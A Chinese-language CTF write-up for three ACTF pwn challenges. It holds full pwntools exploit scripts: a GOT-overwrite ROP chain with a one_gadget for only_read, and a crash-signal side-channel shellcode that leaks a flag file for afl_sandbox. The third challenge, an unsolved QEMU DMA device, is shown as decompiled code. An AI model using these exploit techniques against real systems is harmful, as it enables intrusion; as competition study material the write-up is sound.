本次 ACTF 我基本上 24 h 打满了,队伍里一共出了三道 pwn,我参与做了两道,另外一道 qemu pwn 没出,这里写一下 WriteUp。

only_read

题目很简洁,只给了一个不限长度的 read,保护如下:

Arch:       amd64-64-little
RELRO:      Partial RELRO
Stack:      No canary found
NX:         NX enabled
PIE:        No PIE (0x3fe000)
RUNPATH:    b'.'
SHSTK:      Enabled
IBT:        Enabled
Stripped:   No

看到这个保护肯定是想打 ret2dlresolve 的,但是题目里没有 pop rdi; ret 这种 gadget,所以我这边的思路是打 magic gadget。

我选择了下面这两条 gadget:

  • libc 里:0x0000000000110a46: pop rbx; pop rbp; pop r12; pop r13; pop r14; ret;
  • 程序中:0x000000000040111c : add dword ptr [rbp - 0x3d], ebx ; nop ; ret

其中第一条是因为倒数第三字节和 libc 中 read 的偏移是一样的,不需要更多的爆破,第二条则是经典的 magic_gadget,两条配合起来可以做一个任意地址写原语。

流程如下:

  1. 先用 read 构造程序地址写,把 read@got 部分写成第一条 gadget;
  2. 再利用任意地址写原语把 read@got 写成 ogg;
  3. 执行 ogg

这个过程中需要很多栈迁移和提前布置栈,比较常规,不再赘述。

爆破期望 1/16,原因是 libc gadget 的倒数第四位不确定,需要爆破。

#!/usr/bin/env python3

from pwn import *
from sys import argv
import os

proc = "./only_read_patched"
context.binary = proc
elf = ELF(proc, checksec=False)

# 0x0000000000110a46: pop rbx; pop rbp; pop r12; pop r13; pop r14; ret;
# 0x000000000040111c : add dword ptr [rbp - 0x3d], ebx ; nop ; ret

def pwn():
    io.recvuntil(b"Submit the token generated by `")
    cmd = io.recvuntil(b"`", drop=True).decode()
    token = subprocess.check_output(cmd, shell=True).strip()
    io.sendline(token)

    addr_reread = 0x401142
    addr_ret = 0x40101a
    got_read = elf.got['read']
    addr_magic = 0x40111c
    addr_start = 0x401050
    addr_pop_rbp_ret = 0x40111d

    buf = b"a" * 128
    buf += flat([got_read + 0x100, addr_reread])
    io.sendline(buf)

    sleep(0.5)

    rop_chain = b"1" * 8
    rop_chain += flat([
        elf.plt['read'],
        0xfffdeae5,
        got_read + 0x3d,
        0, 0, 0,
        addr_magic
    ], length=0x38)
    rop_chain += p64(addr_pop_rbp_ret)
    rop_chain += p64(0x404090)
    rop_chain += p64(elf.plt['read'])
    rop_chain = rop_chain.ljust(0x80, b"\x00")
    rop_chain += p64(0x403ff8 + 0x88)
    rop_chain += p64(addr_reread)
    io.sendline(rop_chain)

    sleep(0.5)
    io.send(b"\x46\x3a")


while True:
    io = remote("127.0.0.1", 9999) if argv[1] == 'r' else process(proc)
    pwn()
    io.interactive()

ACTF{5ystem_c4nnot_be_1nvoc4ked_@fter_corrupt1n9_1inkm4p}

afl_sandbox

题目一开始有个 hash 爆破,ai 一把梭了,虽然 hardness 是一个白给的 orw shellcode,但是因为 afl 执行程序异常后没有回显,所以没办法直接拿 flag,这里是用了基于报错的侧信道来爆破。

from pwn import *
import sys
import hashlib

proc = 'harness'
elf = ELF(proc)
context(arch=elf.arch, bits=elf.bits, endian=elf.endian, os=elf.os)

difficulty = 12
zeros = '0' * difficulty


def creat_io():
    p = remote('223.112.5.141', 52051)
    break_hash(p)
    return p

def is_valid(digest):
    if sys.version_info.major == 2:
        digest = [ord(i) for i in digest]
    bits = ''.join(bin(i)[2:].zfill(8) for i in digest)
    return bits[:difficulty] == zeros

def sol(prefix):
    i = 0
    while True:
        i += 1
        s = prefix + str(i)
        if is_valid(hashlib.sha256(s.encode()).digest()):
            return i

def break_hash(p):
    p.recvuntil(b"solve this: sha256(")
    prefix = p.recvuntil(b" ", drop=True)
    p.sendline(str(sol(prefix.decode())).encode())

def send_hex(msg):
    h = msg.hex()
    p.sendlineafter(b'>', h)
    p.sendafter(b'>', '\n')


ans = ''
this = ''
index = 0

sc = asm(f'''
    lea rsi, [rbp - 0x800]
    mov rdi, 0
    mov rdx, 1
    mov rax, 0
    syscall
''')
sc += asm(shellcraft.open(b"/home/ctf/flag"))
sc += asm("""
    lea rsi, [rbp - 0x800]
    mov rdi, 4
    mov rdx, 0x100
    mov rax, 0
    syscall
""")
cmp = asm("""
    cmp rbx, rax
    je equal
    jb below
great:
    ud2
equal:
    mov rax, 0x3c
    syscall
below:
    mov rsp, 0
    ret
""")

p = creat_io()

while this != '}':
    target = 0
    for i in range(0, 8):
        pow = 7 - i
        target += 1 << pow

        shellcode = sc
        shellcode += asm(f'''
            xor rbx, rbx
            mov rax, {target}
            mov bl, byte ptr [rsi + {index}]
        ''')
        shellcode += cmp

        send_hex(shellcode)
        res = p.recvuntil("awesome, see you next time :)))")
        p.close()

        if b"Fork server crashed with signal 4" in res:
            p = creat_io()
            break

        elif b"Fork server crashed with signal 11" in res:
            target -= 1 << pow
            p = creat_io()
            continue

        this = chr(target)
        ans += this
        index += 1
        log.info(f"current_flag => {ans}")
        p = creat_io()
        break

p.interactive()

让 gpt 优化了一下这个脚本,速度还挺快的。

ACTF{wH4t_IS_Your_CooL_solUTi0n_PL2_te1l_M3}

easydma

没给符号,先逆向,可以看到程序只注册了一个 mmio,只有一个 read 和 write,

__int64 __fastcall readflag_mmio_read(__int64 opaque, unsigned __int64 addr, int size)
{
  __int64 result; // rax

  if ( addr > 0x7F )
  {
    result = -1LL;
    if ( size != 4 )
      return result;
  }
  else if ( size != 4 )
  {
    result = -1LL;
    if ( size != 8 )
      return result;
  }
  result = 0xDEADBEEFLL;
  if ( addr )
  {
    if ( addr == 8 )
      return *(opaque + 0xBA8);
    else
      return -1LL;
  }
  return result;
}
void __fastcall readflag_mmio_write(__int64 opaque, unsigned __int64 addr, size_t val, int size)
{
  char *chunk; // rbp
  FILE *v5; // rax
  FILE *v6; // r12
  size_t len; // rax
  int v8; // [rsp+0h] [rbp-20h]

  if ( addr > 0x7F )
  {
    if ( size != 4 )
      return;
  }
  else if ( size != 4 )
  {
    if ( size == 8 && addr == 8 )
      goto LABEL_6;
    return;
  }
  if ( addr )
  {
    if ( addr == 8 )
LABEL_6:
      *(opaque + 2984) = val;
  }
  else if ( val <= 0xFFF )
  {
    v8 = val;
    chunk = malloc(val);
    if ( chunk )
    {
      v5 = fopen64("flag", "r");
      v6 = v5;
      if ( v5 )
      {
        len = fread(chunk, 1uLL, (v8 - 1), v5);
        if ( len )
          chunk[len] = 0;
        else
          puts("No data read from the file.");
        free(chunk);
        fclose(v6);
      }
      else
      {
        perror("Error opening file");
        free(chunk);
      }
    }
    else
    {
      perror("Memory allocation failed");
    }
  }
}

都不是很有洞,感觉是没找到洞,继续审:

__int64 __fastcall pci_readflag_realize(__int64 a1, __int64 a2)
{
  __int64 pdev; // rbp
  __int64 result; // rax

  pdev = sub_71F420(a1, "readflag", "../hw/misc/edu.c", 38LL, &off_9356B5);
  *(*(a1 + 160) + 61LL) = 1;
  result = sub_433F90(a1, 0LL, 1LL, 1LL, 0LL, a2);
  if ( !result )
  {
    timer_init_tl(pdev + 3040, 0, 1, 1000000, 0, readflag_dma_timer, pdev);
    qemu_mutex_init(pdev + 2872);
    qemu_cond_init((pdev + 2920));
    qemu_thread_create((pdev + 2864));
    memory_region_init_io(pdev + 2592, pdev, &readflag_mmio_ops, pdev, "readflag-mmio", 0x100000LL);
    return pci_register_bar(a1, 0LL, 0LL, pdev + 2592);
  }
  return result;
}

这里有一个:

__int64 __fastcall readflag_dma_timer(__int64 a1, __int64 a2, __int64 a3, __int64 a4, __int64 a5, int a6)
{
  __int64 flag; // rax
  __int64 buf; // r12
  __int64 len; // rbx
  __int64 len2; // rsi
  unsigned __int64 src; // rdi
  __int64 v12; // r13
  __int64 v13; // rdx
  __int64 v14; // r12
  __int64 v15; // rdi
  __int64 v16; // r9
  __int64 len1; // rsi
  unsigned __int64 dst; // rdi
  __int64 v19; // rdx

  flag = *(a1 + 3032);
  if ( (flag & 1) != 0 )
  {
    buf = a1 + 3088;
    len = *(a1 + 3024);
    if ( (flag & 2) != 0 )
    {
      len1 = *(a1 + 3024);
      dst = *(a1 + 3008);
      v12 = buf + dst - 0x40000;
      sub_3D6F80(dst, len1, a3, a4, a5, a6);
      v19 = *(a1 + 3016);
      v14 = v19 & *(a1 + 7184);
      if ( v19 != v14 )
        __printf_chk(1LL, "READFLAG: clamping DMA %#.16lx to %#.16lx!\n", v19, v19 & *(a1 + 7184));
      _mm_mfence();
      v15 = a1 + 568;
      v16 = 1LL;
    }
    else
    {
      len2 = *(a1 + 3024);
      src = *(a1 + 3016);
      v12 = buf + src - 0x40000;
      sub_3D6F80(src, len2, a3, a4, a5, a6);
      v13 = *(a1 + 3008);
      v14 = v13 & *(a1 + 7184);
      if ( v13 != v14 )
        __printf_chk(1LL, "READFLAG: clamping DMA %#.16lx to %#.16lx!\n", v13, v13 & *(a1 + 7184));
      _mm_mfence();
      v15 = a1 + 568;
      v16 = 0LL;
    }
    copy(v15, v14, 1LL, v12, len, v16);
    flag = *(a1 + 3032);
    *(a1 + 3032) = flag & 0xFFFFFFFFFFFFFFFELL;
    if ( (flag & 4) != 0 )
    {
      *(a1 + 3000) |= 0x100u;
      return sub_3D6DF0(a1);
    }
  }
  return flag;
}

到这感觉洞应该就是在这里了,后来出题人也上了 hint,但是看不太明白,,,这个题最后也没做出来。